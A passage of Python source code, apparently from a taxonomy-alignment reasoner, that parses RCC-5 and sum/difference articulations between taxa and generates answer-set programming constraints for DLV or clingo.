(.*)\.(.*)", initInput) elif (initInput.find("r3sum") != -1): self.relations = relation["=3+"] elements = re.match("(.*)\.(.*) r3sum (.*)\.(.*) (.*)\.(.*) (.*)\.(.*)", initInput) elif (initInput.find("r4sum") != -1): self.relations = relation["=4+"] elements = re.match("(.*)\.(.*) r4sum (.*)\.(.*) (.*)\.(.*) (.*)\.(.*) (.*)\.(.*)", initInput) elif (initInput.find("ldiff") != -1): self.relations = relation["-="] elements = re.match("(.*)\.(.*) (.*)\.(.*) ldiff (.*)\.(.*)", initInput) elif (initInput.find("rdiff") != -1): self.relations = relation["=-"] elements = re.match("(.*)\.(.*) rdiff (.*)\.(.*) (.*)\.(.*)", initInput) elif (initInput.find("e4sum") != -1): self.relations = 0 #[relationDict["+=+"]] elements = re.match("(.*)\.(.*) (.*)\.(.*) e4sum (.*)\.(.*) (.*)\.(.*)", initInput) elif (initInput.find("i4sum") != -1): self.relations = 0 #[relationDict["+<=+"]] elements = re.match("(.*)\.(.*) (.*)\.(.*) i4sum (.*)\.(.*) (.*)\.(.*)", initInput) else: raise Exception("Syntax error in \""+initInput+"\"!!") taxon1taxonomy = elements.group(1).strip() taxon1taxon = elements.group(2).strip() taxon2taxonomy = elements.group(3).strip() taxon2taxon = elements.group(4).strip() taxon3taxonomy = elements.group(5).strip() taxon3taxon = elements.group(6).strip() self.taxon1 = mapping.getTaxon(taxon1taxonomy, taxon1taxon) self.taxon2 = mapping.getTaxon(taxon2taxonomy, taxon2taxon) self.taxon3 = mapping.getTaxon(taxon3taxonomy, taxon3taxon) self.numTaxon = 3 if(initInput.find("e4sum") != -1 or initInput.find("i4sum") != -1 or initInput.find("l3sum") != -1 or initInput.find("r3sum") != -1): taxon4taxonomy = elements.group(7) taxon4taxon = elements.group(8) self.taxon4 = mapping.getTaxon(taxon4taxonomy, taxon4taxon) self.numTaxon = 4 if(initInput.find("l4sum") != -1 or initInput.find("r4sum") != -1): taxon4taxonomy = elements.group(7) taxon4taxon = elements.group(8) self.taxon4 = mapping.getTaxon(taxon4taxonomy, taxon4taxon) taxon5taxonomy = elements.group(9) taxon5taxon = elements.group(10) self.taxon5 = mapping.getTaxon(taxon5taxonomy, taxon5taxon) self.numTaxon = 5 else: ## initInput is of form b48.a equals k04.a self.relation = 0 if (initInput.find("{") != -1): elements = re.match("(.*)\.(\S*)\s*{(.*)}\s*(\S*)\.(.*)", initInput) else: elements = re.match("(.*)\.(\S*)\s*(\S*)\s*(\S*)\.(.*)", initInput) if elements is None: raise Exception("Syntax error in \""+initInput+"\"!!") taxon1taxonomy = elements.group(1).strip() taxon1taxon = elements.group(2).strip() relString = elements.group(3).strip() taxon2taxonomy = elements.group(4).strip() taxon2taxon = elements.group(5).strip() if (relString.find(" ") != -1): if (relation.has_key(relString)): self.relations = rcc5[relString] else: relElements = re.split("\s+", relString) for rel in relElements: self.relations |= rcc5[rel] else: self.relations = rcc5[relString] self.taxon1 = mapping.getTaxon(taxon1taxonomy, taxon1taxon) self.taxon2 = mapping.getTaxon(taxon2taxonomy, taxon2taxon) def toRCCASP(self, align, rnr): name1 = self.taxon1.dlvName() name2 = self.taxon2.dlvName() relpreds = [] if reasoner[rnr] == reasoner["rccdlv"]: disjunctive = " v " elif reasoner[rnr] == reasoner["rccclingo"]: disjunctive = " ; " result = "" if self.relations & rcc5["equals"]: relpreds.append("eq") if self.relations & rcc5["is_included_in"]: relpreds.append("pp") if self.relations & rcc5["includes"]: relpreds.append("pi") if self.relations & rcc5["disjoint"]: relpreds.append("dr") if self.relations & rcc5["overlaps"]: relpreds.append("po") for relpred in relpreds: result += relpred + "(" + name1 + ", " + name2 + ")" result += disjunctive result = result[:-3] + ".\n" return result def toShawnASP(self, align, rnr): name1 = self.taxon1.dlvName() name2 = self.taxon2.dlvName() relpreds = "" # if reasoner[rnr] == reasoner["rcctt"]: # disjunctive = " v " # elif reasoner[rnr] == reasoner["rccclingo"]: # disjunctive = " ; " result = "" # order : dr eq pi po pp if self.relations & rcc5["disjoint"]: relpreds += "dr" if self.relations & rcc5["equals"]: relpreds += "eq" if self.relations & rcc5["includes"]: relpreds += "pi" if self.relations & rcc5["overlaps"]: relpreds += "po" if self.relations & rcc5["is_included_in"]: relpreds += "pp" result = "r(" + relpreds + ", " + name1 + ", " + name2 + ").\n" return result def toASP(self, enc, rnr, align): result = "" name1 = self.taxon1.dlvName() name2 = self.taxon2.dlvName() disjointSymbol = "v" if reasoner[rnr] == reasoner["dlv"] else ";" twoPredFormat = ":- {}, {}.\n" threePredFormat = ":- {}, {}, {}.\n" if encode[enc] & encode["vr"] or encode[enc] & encode["dl"] or encode[enc] & encode["mn"]: if self.relations == rcc5["equals"]: result = "ir(X, r" + self.ruleNum.__str__() + ") :- out(" + name1 + ",X), in(" + name2 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" result += "ir(X, prod(r" + self.ruleNum.__str__() + ",R)) :- out3(" + name1 + ", X, R), in(" + name2 + ",X), ix.\n" result += "ir(X, prod(r" + self.ruleNum.__str__() + ",R)) :- in(" + name1 + ",X), out3(" + name2 + ", X, R), ix.\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == rcc5["includes"]: result = "ir(X, r" + self.ruleNum.__str__() + ") :- out(" + name1 + ",X), in(" + name2 + ",X), pw.\n" result += "ir(X, prod(r" + self.ruleNum.__str__() + ",R)) :- out3(" + name1 + ", X, R), in(" + name2 + ",X), ix.\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == rcc5["is_included_in"]: result = AggregationRule(firstVar=name1, secondVar=name2).rule result += AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X), pw.\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == rcc5["disjoint"]: result = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule result += AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), in(" + name2 + ",X).\n" elif self.relations == rcc5["overlaps"]: result = AggregationRule(firstVar=name1, secondVar=name2).rule result += AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule result += AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 3) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == (rcc5["equals"] | rcc5["disjoint"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} = 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} = 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} > 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} = 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} > 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} > 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: ## TODO result = "" elif self.relations == (rcc5["equals"] | rcc5["is_included_in"]): result = "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" result += "ir(X, prod(r" + self.ruleNum.__str__() + ",R)) :- in(" + name1 + ",X), out3(" + name2 + ", X, R), ix.\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += "vr(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " ir(X, r" + self.ruleNum.__str__() + ") :- out(" + name1 + ",X), in(" + name2 + ",X).\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == (rcc5["equals"] | rcc5["includes"]): result = "ir(X, r" + self.ruleNum.__str__() + ") :- out(" + name1 + ",X), in(" + name2 + ",X).\n" result += "ir(X, prod(r" + self.ruleNum.__str__() + ",R)) :- out3(" + name1 + ", X, R), in(" + name2 + ",X), ix.\n" result += "vr(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == (rcc5["is_included_in"] | rcc5["includes"]): result = "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X), vr(Y, _), in(" + name2 + ",Y), out(" + name1 + ",Y).\n" aggrExpression = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, addPW=False, lowerBound="0 < ", isConstraint=False).rule result += "ir(Y, r" + self.ruleNum.__str__() + ") :- " + aggrExpression + ", in(" + name2 + ",Y), out(" + name1 + ",Y).\n" elif self.relations == (rcc5["disjoint"] | rcc5["overlaps"]): result = "ir(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " (X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), in(" + name2 + ",X).\n" result += AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule elif self.relations == (rcc5["equals"] | rcc5["overlaps"]): firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, secondPredIsIn=False, isConstraint=False, variableName="Y").rule result = twoPredFormat.format(firstRule, secondRule) firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, secondPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) result += AggregationRule(firstVar=name1, secondVar=name2).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name2 + ", X), out(" + name1 + ", X), #count{Y: vr(Y, _), in(" + name1 + ",Y), out(" + name2 + ",Y)} > 0, ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), #count{Y: vr(Y, _), in(" + name2 + ",Y), out(" + name1 + ",Y)} > 0, ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), out(" + name2 + ", X), #count{Y: vr(Y, _), in(" + name2 + ",Y), out(" + name1 + ",Y)} > 0, ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), #count{Y: vr(Y, _), in(" + name2 + ",Y), out(" + name1 + ",Y)} > 0, ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 3) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == (rcc5["is_included_in"] | rcc5["overlaps"]): result = "vr(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule elif self.relations == (rcc5["is_included_in"] | rcc5["disjoint"]): result = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule firstRule = AggregationRule(firstVar=name1, secondVar=name2, lowerBound="0 < ", isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, firstPredIsIn=False, lowerBound="0 < ", isConstraint=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) firstRule = AggregationRule(firstVar=name1, secondVar=name2, isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, firstPredIsIn=False, isConstraint=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) elif self.relations == (rcc5["includes"] | rcc5["overlaps"]): result += "vrs(X) " + disjointSymbol + " irs(X) :- out(" + name1 + ",X), in(" + name2 + ",X), pw.\n" result += AggregationRule(firstVar=name1, secondVar=name2).rule result += AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule elif self.relations == (rcc5["includes"] | rcc5["disjoint"]): result += AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False).rule firstRule = AggregationRule(firstVar=name1, secondVar=name2, lowerBound="0 < ", isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, secondPredIsIn=False, lowerBound="0 < ", isConstraint=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) firstRule = AggregationRule(firstVar=name1, secondVar=name2, isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name2, secondVar=name1, secondPredIsIn=False, isConstraint=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), in(" + name1 + ", X), out(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", prod(A, B), 2) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), vr(Y, B), in("+ name2 + ",Y), out(" + name1 + ",Y), ix.\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 3) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["equals"]): result += "vr(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " ir(X, r" + self.ruleNum.__str__() + ") :- out(" + name1 + ",X), in(" + name2 + ",X).\n" result += "vr(X, r" + self.ruleNum.__str__() + ") " + disjointSymbol + " ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) result += AggregationRule(firstVar=name1, secondVar=name2).rule + "\n" elif self.relations == (rcc5["is_included_in"] | rcc5["equals"] | rcc5["overlaps"]): firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False, isConstraint=False, addPW=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) result += AggregationRule(firstVar=name1, secondVar=name2).rule + "\n" elif self.relations == (rcc5["includes"] | rcc5["equals"] | rcc5["overlaps"]): firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False, lowerBound="0 < ", isConstraint=False, addPW=False, variableName="Y").rule result += twoPredFormat.format(firstRule, secondRule) result += AggregationRule(firstVar=name1, secondVar=name2).rule + "\n" elif self.relations == (rcc5["equals"] | rcc5["includes"] | rcc5["disjoint"]): if reasoner[rnr] == reasoner["dlv"]: result += ":- #count{X: vrs(X), out(" + name1 + ", X), in(" + name2 + ", X)} = 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} = 0.\n" result += ":- #count{X: vrs(X), out(" + name1 + ", X), in(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} > 0.\n" result += ":- #count{X: vrs(X), out(" + name1 + ", X), in(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 +", Y), in(" + name2 + ", Y)} = 0, #count{Z: vrs(Z), in(" + name1 + ", Z), out(" + name2 + ", Z)} = 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["equals"] | rcc5["is_included_in"] | rcc5["disjoint"]): if reasoner[rnr] == reasoner["dlv"]: result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y:vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} = 0.\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y:vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0.\n" result += ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y:vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} = 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["overlaps"]): firstRule = AggregationRule(firstVar=name1, secondVar=name2, secondPredIsIn=False, isConstraint=False, addPW=False).rule secondRule = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False, isConstraint=False, addPW=False, variableName="Y").rule thirdRule = AggregationRule(firstVar=name1, secondVar=name2, lowerBound="0 < ", isConstraint=False, addPW=False, variableName="Z").rule result += threePredFormat.format(firstRule, secondRule, thirdRule) result += AggregationRule(firstVar=name1, secondVar=name2).rule + "\n" elif self.relations == (rcc5["disjoint"] | rcc5["equals"] | rcc5["overlaps"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y : vrs(Y), out(" + name1 + ", Y ), in(" + name2 + ", Y )} = 0.\n" result += ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y : vrs(Y), out(" + name1 + ", Y ), in(" + name2 + ", Y )} > 0.\n" result += ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y : vrs(Y), in(" + name1 + ", Y ), in(" + name2 + ", Y )} = 0, #count{Z : vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["disjoint"] | rcc5["is_included_in"] | rcc5["overlaps"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y: vrs(Y), out(" + name1 + ", Y), in(" + name2 + ", Y)} = 0.\n"\ ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0, #count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["disjoint"] | rcc5["overlaps"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y : vrs(Y ), out(" + name1 + ", Y), in(" + name2 + ", Y )} = 0.\n"\ ":- #count{X : vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y : vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y )} > 0, #count{Z : vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["disjoint"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0, #count{Y: vrs(Y), out(" + name1 + ", Y), in(" + name2 + ", Y)} = 0.\n"\ ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0, #count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0, #count{Z : vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["overlaps"] | rcc5["equals"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0,"\ "#count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} = 0,"\ "#count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["disjoint"] | rcc5["is_included_in"] | rcc5["overlaps"] | rcc5["equals"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0,"\ "#count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0,"\ "#count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} = 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["disjoint"] | rcc5["overlaps"] | rcc5["equals"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0,"\ "#count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0,"\ "#count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["disjoint"] | rcc5["equals"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} > 0,"\ "#count{Y: vrs(Y), in(" + name1 + ", Y), in(" + name2 + ", Y)} > 0,"\ "#count{Z: vrs(Z), out(" + name1 + ", Z), in(" + name2 + ", Z)} > 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["includes"] | rcc5["is_included_in"] | rcc5["overlaps"] | rcc5["disjoint"]): if reasoner[rnr] == reasoner["dlv"]: result = ":- #count{X: vrs(X), in(" + name1 + ", X), out(" + name2 + ", X)} = 0,"\ "#count{Y: vrs(Y), out(" + name1 + ", Y), in(" + name2 + ", Y)} = 0.\n" elif reasoner[rnr] == reasoner["clingo"]: # TODO result = "" elif self.relations == (rcc5["equals"] | rcc5["includes"] | rcc5["is_included_in"] | rcc5["overlaps"] | rcc5["disjoint"]): result = "" elif self.relations == relation["+="]: # lsum name3 = self.taxon3.dlvName() result = AggregationRule(firstVar=name1, secondVar=name3, firstPredIsIn=False).rule result += AggregationRule(firstVar=name1, secondVar=name3).rule result += AggregationRule(firstVar=name2, secondVar=name3, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name3).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), out(" + name1 + ", X), in(" + name3 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), out(" + name1 + ", X), in(" + name3 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), in(" + name3 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), in(" + name3 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 3) :- ir(X, A), out(" + name2 + ", X), in(" + name3 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), out(" + name2 + ", X), in(" + name3 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 4) :- ir(X, A), in(" + name2 + ", X), in(" + name3 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 4) :- vr(X, A), in(" + name2 + ", X), in(" + name3 + ", X), ix.\n\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name3 + ",X), pw.\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name3 + ",X), pw.\n" elif self.relations == relation["=-"]: # rdiff name3 = self.taxon3.dlvName() result = AggregationRule(firstVar=name1, secondVar=name2, firstPredIsIn=False).rule result += AggregationRule(firstVar=name1, 